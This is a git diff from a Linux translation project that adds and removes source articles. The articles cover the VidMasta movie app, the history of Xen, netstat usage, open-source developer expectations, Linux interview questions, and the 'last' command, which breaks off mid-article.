+![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_001.jpg) + +选择安装路径,点击下一步。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_002.jpg) + +安装完成后,点击下一步。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_004.jpg) + +设置快捷键。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_007.jpg) + +最后,点击Done结束安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Installation-of-VidMasta_008.jpg) + +完成安装后,VidMasta会自动打开。下面是VidMasta的默认界面。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_009.jpg) + +###搜素电影&电视剧 + +搜索电影电视剧非常容易。在标题框里键入电影的名字,选择电影种类和电影格式,例如“任何”,“DVD”,“720HD”,“1080HD”等。然后敲击Enter键开始搜素。你还可以通过评价来过滤搜素结果。假如你不知道电影的名字,你可以在菜单栏里勾选“任何”。 + +例如我要搜索冒险类的清晰度为720HD并在在2012年的11月第一周的今天上映的电影。一旦你敲击搜索按钮,VidMasta就会从[www.imdb.com][5]网站抓取搜索结果,并显示你每次搜索的关键词。下面是输出的样例。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_012.jpg) + +你还可以在下载之前观看预告片或者阅读电影概要。要看电影的概要?选择一个电影,右击它,点击阅读概要就可以咯。你也可以使用搜索结果下的按钮去阅读电影概要,观看预告片,下载或者观看整个电影 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_013.jpg) + +更重要的是你可以在下载一部电影之前先观看它的预告片。点击观看预告片按钮,预告片就会在一个新窗口中打开,像下面这样。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/%E2%96%B6-Django-Unchained-Official-Trailer-HD-YouTube-Mozilla-Firefox_014.jpg) + +如果你喜欢这部电影,可以点击下载链接(下载链接1或者下载链接2)下载这部电影。 + +###流行电影&流行电视剧 + +假如你不知道那些电影值得去看时。那么不用担心,VidMata有一个选项去显示当前流行的电影或电视剧。点击下面的流行电影或电视剧按钮去发现当前流行流行的电影或电视剧。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/VidMasta_015.jpg) + +是不是很酷? + +需要注意的是,若你不能下载最新的电影或电视剧时,也许是因为版权问题或者国家原因。 + +你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序,再去播放或下载电影。 + +你是否对此很期待呢?赶紧把它下载下来安装到你的系统中,祝你使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/ + +译者:[Linux-pdz](https://github.com/Linux-pdz`) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://sites.google.com/site/algwares/vidmasta +[2]:http://www.peerblock.com/ +[3]:http://www.java.com/ +[4]:http://sourceforge.net/projects/vidmasta/ +[5]:http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/www.imdb.com diff --git a/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md b/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md deleted file mode 100644 index c577500ac1..0000000000 --- a/sources/10 Years of Xen--Transforming a Dinosaur Into a Bird.md +++ /dev/null @@ -1,54 +0,0 @@ -10 Years of Xen: Transforming a Dinosaur Into a Bird -================================================================================ -Xen Hypervisor development started at [Cambridge University][1] as part of the [Xenoserver][2] research project in the late 90’s. The goal of Xenoserver was ambitious: - -The Xenoserver project is building a public infrastructure for wide-area distributed computing. We envisage a world in which Xenoserver execution platforms will be scattered across the globe and available for any member of the public to submit code for execution. The sponsor of the code will be billed for all the resources used or reserved during the course of execution. This will serve to encourage load balancing, limit congestion, and hopefully even make the platform self-financing. - -Today, this model of computing is called cloud computing. And the Xen Hypervisor was - and indeed is today - instrumental in enabling the biggest cloud in production. Not only are Amazon Web Services and Rackspace Public cloud based on Xen. New large deployments such as [Verizon Public Cloud][3] also chose Xen as basis for their offering. - -### Happy 10th Birthday ### - -On October 21st, 2003 at the [19th ACM Symposium on Operating Systems Principles][4] the Xen Hypervisor was first revealed as an open source project to the public. Exactly 10 years ago. Time to wish the project a Happy 10th Birthday! - -### The Burden of being First : Or what happened to the Dinosaurs? ### - -Sometimes being the first open source project in its field can become a burden. Why? Because, community problems can build up unchecked. The simple fact is that lack of competition can cause complacency. This is what happened to the Xen Project. For the first few years of its life the project operated without governance, became insular, didn’t promote itself and failed to engage its users and contributors. When its first open source competitor - KVM - gathered steam, the community was slow to respond and change. - -The effect of all this was that it was difficult to join the project and that the project did not play well with the Linux kernel, QEMU and Linux distros. In the end, the Xen community got a bad reputation. Ultimately this resulted in Canonical and RedHat dropping Xen support in favour of KVM. Add to the mix a failure to tell the world, when things did change. The bad reputation lingered and eventually the project was seen as a dinosaur by the open source community and technology press. Destined to be extinct in the near future. - -### Evolving fast : The Dinosaur becomes a Bird ### - -Not many open source projects recover from mistakes like the ones the Xen community made. The Xen Project managed to do this, through a combination of introducing good governance, active efforts to collaborate with other open source projects, rebooting marketing efforts and actively working with users and contributors to the project. In other words, the project had to -Xen Project flying Panda - -Let the Bird fly (or more correctly, give the Xen Project’s Panda wings). -transform itself from a Dinosaur to a Bird. If you want to know how we did this, why not attend my LinuxCon EU session called [Xen Project : Lessons Learned][5]? Other sessions you may want to attend are [Securing your Xen based Cloud][6] and [Xen: Open Source Hypervisor Designed for Clouds][7]. - -![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg) - -*Let the Bird fly (or more correctly, give the Xen Project’s Panda wings).* - -### A peek into the Future : New Frontiers in Virtualization ### - -If you look at the Xen Project now, you will find that the community is diverse and growing. On many counts, it is bigger and more diverse than it has ever been. - -One of the interesting things that is happening in the Xen Community at the moment is adoption of the Xen Project’s software for non-traditional virtualization use-cases. This is mirroring a rise in activity by embedded companies in the Linux community in general. At the [Xen Project Developer Summit][8] later this week, we will see two Android VMs running on top of Xen on a Nexus 10, we will see first experiments in using Xen for In-Vehicle-Infotainment and automotive applications in general, and we will see how Xen can provide the high performance expected of hardware-based middlebox offerings such as firewalls and NATs. - -Of course, there is also plenty innovation in server virtualization and cloud. Let the Bird fly (or more correctly, give the Xen Project’s Panda wings). - --------------------------------------------------------------------------------- - -via: http://www.linux.com/news/enterprise/cloud-computing/743330-10-years-of-xen-transforming-a-dinosaur-into-a-bird/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.cl.cam.ac.uk/research/srg/netos/xen/index.html -[2]:http://www.cl.cam.ac.uk/research/srg/netos/xeno/ -[3]:http://www.techweekeurope.co.uk/news/verizon-public-cloud-launch-128724 -[4]:http://www.cs.rochester.edu/meetings/sosp2003/papers.shtml -[5]:http://linuxconcloudopeneu2013.sched.org/event/68003c370760bcc2da7e3e8b59b6b50f -[6]:http://linuxconcloudopeneu2013.sched.org/event/37ecfe02561cf264a02061d1927da26c -[7]:http://linuxconcloudopeneu2013.sched.org/event/bdca1274d9799646cdf2934dbde94ccd -[8]:http://www.linux.com/news/software/applications/742053-a-great-line-up-of-speakers-at-xen-project-developer-summit \ No newline at end of file diff --git a/sources/10 basic examples of linux netstat command.md b/sources/10 basic examples of linux netstat command.md new file mode 100644 index 0000000000..e882b1f8d1 --- /dev/null +++ b/sources/10 basic examples of linux netstat command.md @@ -0,0 +1,291 @@ +[this is bazz2] +10 basic examples of linux netstat command +================================================================================ +### Netstat ### + +Netstat is a command line utility that can be used to list out all the network (socket) connections on a system. It lists out all the tcp, udp socket connections and the unix socket connections. Apart from connected sockets it can also list listening sockets that are waiting for incoming connections. So by verifying an open port 80 you can confirm if a web server is running on the system or not. This makes it a very useful tool for network and system administrators. So in this tutorial we shall be checking out few examples of how to use netstat to find information about network connections and open ports on a system. + +Here is a quick intro to netstat from the man pages + +> netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships + +### 1. List out all connections ### + +The first and most simple command is to list out all the current connections. Simply run the netstat command with the a option. + + $ netstat -a + + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 enlightened:domain *:* LISTEN + tcp 0 0 localhost:ipp *:* LISTEN + tcp 0 0 enlightened.local:54750 li240-5.members.li:http ESTABLISHED + tcp 0 0 enlightened.local:49980 del01s07-in-f14.1:https ESTABLISHED + tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN + udp 0 0 enlightened:domain *:* + udp 0 0 *:bootpc *:* + udp 0 0 enlightened.local:ntp *:* + udp 0 0 localhost:ntp *:* + udp 0 0 *:ntp *:* + udp 0 0 *:58570 *:* + udp 0 0 *:mdns *:* + udp 0 0 *:49459 *:* + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* + udp6 0 0 ip6-localhost:ntp [::]:* + udp6 0 0 [::]:ntp [::]:* + udp6 0 0 [::]:mdns [::]:* + udp6 0 0 [::]:63811 [::]:* + udp6 0 0 [::]:54952 [::]:* + Active UNIX domain sockets (servers and established) + Proto RefCnt Flags Type State I-Node Path + unix 2 [ ACC ] STREAM LISTENING 12403 @/tmp/dbus-IDgfj3UGXX + unix 2 [ ACC ] STREAM LISTENING 40202 @/dbus-vfs-daemon/socket-6nUC6CCx + +The above command shows all connections from different protocols like tcp, udp and unix sockets. However this is not quite useful. Administrators often want to pick out specific connections based on protocols or port numbers for example. + +### 2. List only TCP or UDP connections ### + +To list out only tcp connections use the t options. + + $ netstat -at + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 enlightened:domain *:* LISTEN + tcp 0 0 localhost:ipp *:* LISTEN + tcp 0 0 enlightened.local:36310 del01s07-in-f24.1:https ESTABLISHED + tcp 0 0 enlightened.local:45038 a96-17-181-10.depl:http ESTABLISHED + tcp 0 0 enlightened.local:37892 ABTS-North-Static-:http ESTABLISHED + ..... + +Similarly to list out only udp connections use the u option. + + $ netstat -au + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + udp 0 0 *:34660 *:* + udp 0 0 enlightened:domain *:* + udp 0 0 *:bootpc *:* + udp 0 0 enlightened.local:ntp *:* + udp 0 0 localhost:ntp *:* + udp 0 0 *:ntp *:* + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* + udp6 0 0 ip6-localhost:ntp [::]:* + udp6 0 0 [::]:ntp [::]:* + +The above output shows both ipv4 and ipv6 connections. + +### 3. Disable reverse dns lookup for faster output ### + +By default, the netstat command tries to find out the hostname of each ip address in the connection by doing a reverse dns lookup. This slows down the output. If you do not need to know the host name and just the ip address is sufficient then suppress the hostname lookup with the n option. + + $ netstat -ant + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp 0 0 192.168.1.2:49058 173.255.230.5:80 ESTABLISHED + tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED + tcp6 0 0 ::1:631 :::* LISTEN + +The above command shows ALL TCP connections with NO dns resolution. Got it ? Good. + +### 4. List out only listening connections ### + +Any network daemon/service keeps an open port to listen for incoming connections. These too are like socket connections and are listed out by netstat. To view only listening ports use the l options. + + $ netstat -tnl + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN + tcp6 0 0 ::1:631 :::* LISTEN + +Now we can see only listening tcp ports/connections. If you want to see all listening ports, remove the t option. If you want to see only listening udp ports use the u option instead of t. +Make sure to remove the 'a' option, otherwise all connections would get listed and not just the listening connections. + +### 5. Get process name/pid and user id ### + +When viewing the open/listening ports and connections, its often useful to know the process name/pid which has opened that port or connection. For example the Apache httpd server opens port 80. So if you want to check whether any http server is running or not, or which http server is running, apache or nginx, then track down the process name. + +The process details are made available by the 'p' option. + + ~$ sudo netstat -nlpt + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name + tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 1144/dnsmasq + tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 661/cupsd + tcp6 0 0 ::1:631 :::* LISTEN 661/cupsd + +When using the p option, netstat must be run with root privileges, otherwise it cannot detect the pids of processes running with root privileges and most services like http and ftp often run with root privileges. + +Along with process name/pid its even more useful to get the username/uid owning that particular process. Use the e option along with the p option to get the username too. + + $ sudo netstat -ltpe + Active Internet connections (only servers) + Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name + tcp 0 0 enlightened:domain *:* LISTEN root 11090 1144/dnsmasq + tcp 0 0 localhost:ipp *:* LISTEN root 9755 661/cupsd + tcp6 0 0 ip6-localhost:ipp [::]:* LISTEN root 9754 661/cupsd + +The above example lists out Listening connections of Tcp type with Process information and Extended information. +The extended information contains the username and inode of the process. This is a useful command for network administrators. + +**Note** - If you use the n option with the e option, the uid would be listed and not the username. + +### 6. Print statistics ### + +The netstat command can also print out network statistics like total number of packets received and transmitted by protocol type and so on. + +To list out statistics of all packet types + + $ netstat -s + Ip: + 32797 total packets received + 0 forwarded + 0 incoming packets discarded + 32795 incoming packets delivered + 29115 requests sent out + 60 outgoing packets dropped + Icmp: + 125 ICMP messages received + 0 input ICMP message failed. + ICMP input histogram: + destination unreachable: 125 + 125 ICMP messages sent + 0 ICMP messages failed + ICMP output histogram: + destination unreachable: 125 + ... OUTPUT TRUNCATED ... + +To print out statistics of only select protocols like TCP or UDP use the corresponding options like t and u along with the s option. Simple! + +### 7. Display kernel routing information ### + +The kernel routing information can be printed with the r option. It is the same output as given by the route command. We also use the n option to disable the hostname lookup. + + $ netstat -rn + Kernel IP routing table + Destination Gateway Genmask Flags MSS Window irtt Iface + 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 + 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 + +### 8. Print network interfaces ### + +The netstat command can also print out the information about the network interfaces. The i option does the task. + + $ netstat -i + Kernel Interface table + Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg + eth0 1500 0 31611 0 0 0 27503 0 0 0 BMRU + lo 65536 0 2913 0 0 0 2913 0 0 0 LRU + +The above output contains information in a very raw format. To get a more human friendly version of the output use the e option along with i. + + $ netstat -ie + Kernel Interface table + eth0 Link encap:Ethernet HWaddr 00:16:36:f8:b2:64 + inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0 + inet6 addr: fe80::216:36ff:fef8:b264/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:31682 errors:0 dropped:0 overruns:0 frame:0 + TX packets:27573 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:29637117 (29.6 MB) TX bytes:4590583 (4.5 MB) + Interrupt:18 Memory:da000000-da020000 + + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:2921 errors:0 dropped:0 overruns:0 frame:0 + TX packets:2921 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:305297 (305.2 KB) TX bytes:305297 (305.2 KB) + +The above output is similar to the output shown by the ifconfig command. + +### 9. Get netstat output continuously ### + +Netstat can output connection information continuously with the c option. + + $ netstat -ct + +The above command will output tcp connections continuously. + +### 10. Display multicast group information ### + +The g option will display the multicast group information for IPv4 and IPv6 protocols. + + $ netstat -g + IPv6/IPv4 Group Memberships + Interface RefCnt Group + --------------- ------ --------------------- + lo 1 all-systems.mcast.net + eth0 1 224.0.0.251 + eth0 1 all-systems.mcast.net + lo 1 ip6-allnodes + lo 1 ff01::1 + eth0 1 ff02::fb + eth0 1 ff02::1:fff8:b264 + eth0 1 ip6-allnodes + eth0 1 ff01::1 + wlan0 1 ip6-allnodes + wlan0 1 ff01::1 + +### More examples of netstat command ### + +Okay, we covered the basic examples of netstat command above. Now its time to do some geek stuff with style. + +### Print active connections ### + +Active socket connections are in "ESTABLISHED" state. So to get all current active connections use netstat with grep as follows + + $ netstat -atnp | grep ESTA + (Not all processes could be identified, non-owned process info + will not be shown, you would have to be root to see it all.) + tcp 0 0 192.168.1.2:49156 173.255.230.5:80 ESTABLISHED 1691/chrome + tcp 0 0 192.168.1.2:33324 173.194.36.117:443 ESTABLISHED 1691/chrome + +To watch a continous list of active connections, use the watch command along with netstat and grep + + $ watch -d -n0 "netstat -atnp | grep ESTA" + +### Check if a service is running ### + +If you want to check if a server like http,smtp or ntp is running or not, use grep again. + + $ sudo netstat -aple | grep ntp + udp 0 0 enlightened.local:ntp *:* root 17430 1789/ntpd + udp 0 0 localhost:ntp *:* root 17429 1789/ntpd + udp 0 0 *:ntp *:* root 17422 1789/ntpd + udp6 0 0 fe80::216:36ff:fef8:ntp [::]:* root 17432 1789/ntpd + udp6 0 0 ip6-localhost:ntp [::]:* root 17431 1789/ntpd + udp6 0 0 [::]:ntp [::]:* root 17423 1789/ntpd + unix 2 [ ] DGRAM 17418 1789/ntpd + +So we found that ntp server is running. Grep for http or smtp or whatever you are looking for. + +Well, that was most of what netstat is used for. If you are looking for more advanced information or want to dig deeper, read up the netstat manual (man netstat). + +And do leave your feedback and suggestions in the comments box below. + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-netstat-command-examples/ + +译者:[FingerLiu](https://github.com/FingerLiu) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git a/sources/Are Open Source Developers Too Demanding.md b/sources/Are Open Source Developers Too Demanding.md new file mode 100644 index 0000000000..5661374051 --- /dev/null +++ b/sources/Are Open Source Developers Too Demanding.md @@ -0,0 +1,70 @@ +Are Open Source Developers Too Demanding? +================================================================================ +**Open source invites participation, including criticism. But do developers sometimes take it too far?** + +![](http://readwrite.com/files/opencola_wikipedia.jpg) + +Developers can be a fickle bunch. Gifted with mountains of free, open-source code of ever-improving quality, some developers can’t help but complain that there’s not more, and even more free, software. But the problem often isn't the code itself, but poorly calibrated expectations and scanty training. + +### What? Me Pay? ### + +One sometimes unrealistic expectation is that software should be free. All of it. + +So, for example, we have [one young developer berating nginx][1] for building “admittedly amazing software” but then having the audacity to charge for it. + +No, really. Those nginx people are trying to make money by writing software that people want. Can you believe the gall? + +Actually, his problem is more nuanced than this. Despite electing not to use Apache httpd, the Hip Young Startup blog author complains that nginx "took a feature that Apache httpd has had literally forever and put it behind a pay wall." It's unclear why he doesn't just use Apache to solve his problem, given that he also says "the performance difference between nginx and httpd in this scenario is negligible." + +Or maybe he could fix nginx himself, given that, by his own admission, it's "trivial" to make the changes himself to get around nginx's attempts to sustain product development by charging for some features. The problem, as he acknowledges, is that he "shouldn’t have to do any of this [crap]." + +In other words, the world (or nginx) owes this developer a living. Who knew? + +Let's be clear: one of the ways open source succeeds is by dramatically lowering the bar to adoption. Charging money, even a negligible fee, can hinder that adoption. But getting uppity about the primary developer of an open-source project charging money for value? As programmer Brendan Loudermilk ([@bloudermilk][2]) [tells][3] the Hip Young Startup blogger, "You could always pay for and support the software that serves as a core dependency of your app." + +Imagine that. + +### Documentation? Of Course I Didn’t Read The Documentation! ### + +Then there are the countless others who take to Hacker News to complain about software they often don’t understand, quite often because they haven’t bothered to read the documentation. I completely get that great software should be approachable, and great products, generally, should be somewhat self-explanatory. + +But much of the best open-source software can be complex to run, at least, at scale. If the software isn't working for someone, it's not obvious that the software is the problem. Vlad Mihalcea, founder of the Struts open-source framework, nails this, [arguing][4] that “if there is someone to blame, it’s usually us” as much of the available open-source software tends to be high-quality code. + +What it isn’t, he goes on to argue, is a free lunch in terms of a learning curve. Any software, whether open source or proprietary, requires some investment in learning how to be productive with it. As he notes of Hibernate and other open-source technologies, “If you want to employ them [successfully], be prepared to learn a lot. There is no other way.” + +This won’t resonate with the hacker crowd whose first instinct is to complain when software doesn’t work the way they want, even if it wasn’t designed to do what they want it to do. But it’s true, all the same. + +### Healthcare.gov Vs. Gov.UK ### + +Just look at the Healthcare.gov debacle for proof. Recently NoSQL database vendor MarkLogic has been [taking bullets][5] over its alleged role in Healthcare.gov’s many technical problems. [Some have gone so far as to argue][6] that NoSQL databases, in general, are faulty because of the Healthcare.gov debacle. + +This is stupid. + +MarkLogic is a fine database. While not perfect, it’s silly to blame Healthcare.gov’s problems on this legacy database. Code isn’t the primary problem. + +As [I’ve argued][7], Healthcare.gov’s problems aren’t really about code, but instead about process. For proof, look no further than Healthcare.gov’s British peer, Gov.UK, [which credits NoSQL technologies][8] as a significant reasons for its success. + +The difference isn’t in the code the two websites used, but rather their respective approaches: Gov.UK is iterative, agile. Healthcare.gov is top-down, waterfall. + +### A Poor Craftsman Blames Her Tools ### + +Open source invites criticism by laying bare its strengths and weaknesses in a way proprietary software never did. Developers today have a level of accessibility to the code they use that previous generations of developers lacked, with a megaphone (the Internet) that allows them to broadcast complaints about that code. + +But let’s not lose sight of just how blessed we are to have this code, or forget our obligation to apply it appropriately in order to be successful. In other words, read the documentation before you complain that open-source software doesn’t “work.” More often than not, it works just fine, but not for the ill-conceived purpose you have in mind. + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2013/11/26/are-open-source-developers-too-demanding#awesm=~ooy2qPfuR2PvIx + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/%E2%80%9C +[2]:https://twitter.com/bloudermilk +[3]:http://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/#comment-17 +[4]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://java.dzone.com/articles/why-i-never-blame-open-source%E2%80%9D +[5]:http://gigaom.com/2013/11/25/how-the-use-of-a-nosql-database-played-a-role-in-the-healthcare-gov-snafu/ +[6]:http://developers.slashdot.org/story/13/11/24/1437203/nyt-healthcaregov-project-chaos-due-partly-to-unorthodox-database-choice +[7]:http://readwrite.com/2013/11/04/sorry-open-source-isnt-the-panacea-for-healthcaregov#awesm=~oojDQ8fiVXrjGP +[8]:http://digital.cabinetoffice.gov.uk/colophon-beta/ \ No newline at end of file diff --git a/sources/Basic Linux Interview Questions and Answers – Part II.md b/sources/Basic Linux Interview Questions and Answers – Part II.md new file mode 100644 index 0000000000..315fa6375c --- /dev/null +++ b/sources/Basic Linux Interview Questions and Answers – Part II.md @@ -0,0 +1,166 @@ +translated by coolpigs + +Basic Linux Interview Questions and Answers – Part II +================================================================================ +Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesn’t necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful. + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions-2.png) + +Upon the analysis of comments in different forums on last article [11 Basic Linux Interview Questions][1] of this series, it is important to mention here that to bring up a quality article to our readers. We give our time and money, and in return what we expect from you? Nothing. If you can’t praise our work, please don’t demoralize us from your negative comments. + +If you find nothing new in a post, don’t forget that for someone it was helpful, and for that he/she was thankful. We can’t make everyone happy in each of our article. Hope you readers would take pain to understand this. + +### Q.1: Which command is used to record a user login session in a file? ### + +- macro +- read +- script +- record +- sessionrecord + +> **Answer** : The ‘script’ command is used to record a user’s login session in a file. Script command can be implemented in a shell script or can directly be used in terminal. Here is an example which records everything between script and exit. + +Let’s record the user’s login session with script command as shown. + + [root@tecmint ~]# script my-session-record.txt + + Script started, file is my-session-record.txt + +The content of log file ‘my-session-record.txt’ can be views as: + + [root@tecmint ~]# nano my-session-record.txt + + script started on Friday 22 November 2013 08:19:01 PM IST + [root@tecmint ~]# ls + ^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $ + ^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$ + +### Q.2: The kernel log message can be viewed using which of the following command? ### + +- dmesg +- kernel +- ls -i +- uname +- None of the above + +> **Answer** : The kernel log message can be viewed by executing 'dmesg' command. In the list kernel is not a valid Linux command, 'ls -i' lists the file with inode within the working directory and 'uname' command shows os. + + [root@tecmint ~]# dmesg + + Initializing cgroup subsys cpuset + Initializing cgroup subsys cpu + Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012 + KERNEL supported cpus: + Intel GenuineIntel + AMD AuthenticAMD + NSC Geode by NSC + Cyrix CyrixInstead + Centaur CentaurHauls + Transmeta GenuineTMx86 + Transmeta TransmetaCPU + UMC UMC UMC UMC + Disabled fast string operations + BIOS-provided physical RAM map: + ... + +### Q.3: Which command is used to display the release of Linux Kernel? ### + +- uname -v +- uname -r +- uname -m +- uname -n +- uname -o + +> **Answer** : The command ‘uname -r’ display the kernel release information. The switch ‘-v’ , ‘-m’ , ‘-n’ , ‘o’ display kernel version, machine hardware name, network node, hostname and operating system, respectively. + + [root@tecmint ~]# uname -r + + 2.6.32-279.el6.i686 + +### Q.4: Which command is used to identify the types of file? ### + +- type +- info +- file +- which +- ls + +> **Answer** : The ‘file’ command is used to identify the types of file. The syntax is ‘file [option] File_name’. + + [root@tecmint ~]# file wtop + + wtop: POSIX shell script text executable + +### Q.5: Which command locate the binary, source and man page of a command? ### + +> **Answer** : The ‘whereis’ command comes to rescue here. The ‘whereis’ command locate the binary, source, and manual page files for a command. + + [root@tecmint ~]# whereis /usr/bin/ftp + + ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz + +### Q.6: When a user login, which files are called for user profile, by default?? ### + +> **Answer** : The ‘.profile’ and ‘.bashrc’ present under home directory are called for user profile by default. + + [root@tecmint ~]# ls -al + -rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile + -rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc + +### ###Q.7: The ‘resolve.conf’ file is a configuration file for? + +> **Answer** : The ‘/etc/resolve.conf’ is the configuration file for DNS at client side. + + [root@tecmint ~]# cat /etc/resolv.conf + + nameserver 172.16.16.94 + +### Q.8: Which command is used to create soft link of a file? ### + +- ln +- ln -s +- link +- link -soft +- None of the above + +> **Answer** : The ‘ln -s’ command is used to create soft link of a file in Linux Environment. + + [root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf + +### Q.9: The command ‘pwd’ is an alias of command ‘passwd’ in Linux? ### + +> **Answer** : No! The command ‘pwd’ is not an alias of command ‘passwd’ by default. ‘pwd’ stands for ‘print working directory’, which shows current directory and ‘passwd is used to change the password of user account in Linux. + + [root@tecmint ~]# pwd + + /home/tecmint + + [root@tecmint ~]# passwd + Changing password for user root. + New password: + Retype new password: + +### Q.10: How will you check pci devices vendor and version on a Linux? ### + +> **Answer** : The Linux command ‘lspci’ comes to rescue here. + + [root@tecmint ~]# lspci + + 00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1) + 00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1) + 00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1) + 00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1) + 00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1) + ... + +That’s all for now. I hope these above questions might be very helpful to you. In our next weekend we again come-up with some new set of questions. Till then stay healthy, tuned and connected to Tecmint. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-linux-interview-questions-and-answers/ \ No newline at end of file diff --git a/sources/Built in Audit Trail Tool – Last Command in Linux.md b/sources/Built in Audit Trail Tool – Last Command in Linux.md new file mode 100644 index 0000000000..f87ba21da2 --- /dev/null +++ b/sources/Built in Audit Trail Tool – Last Command in Linux.md @@ -0,0 +1,180 @@ +Built in Audit Trail Tool – Last Command in Linux +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/12/linux-last-command.jpg) + +If you are working as a server administrator, you may understand that you have to protect your server. Not only from the outside, but you have to protect it from the inside. Linux has one built-in command to see who is the last logged in user into your server. + +The command is **last**. This command is **very useful for audit trail**. Let’s start to see what can last to do for you. + +### What is the function of Last command ### + +**Last** display a list of all user logged in (and out) from **/var/log/wtmp** since the file was created. This file is binary file which cannot view by text editor such as Vi, Joe or another else. This trick is pretty smart because user (or root) can not modify the file as they want. + +Last gives you information the name of all users logged in, its tty, IP Address (if the user doing a remote connection) date – time, and 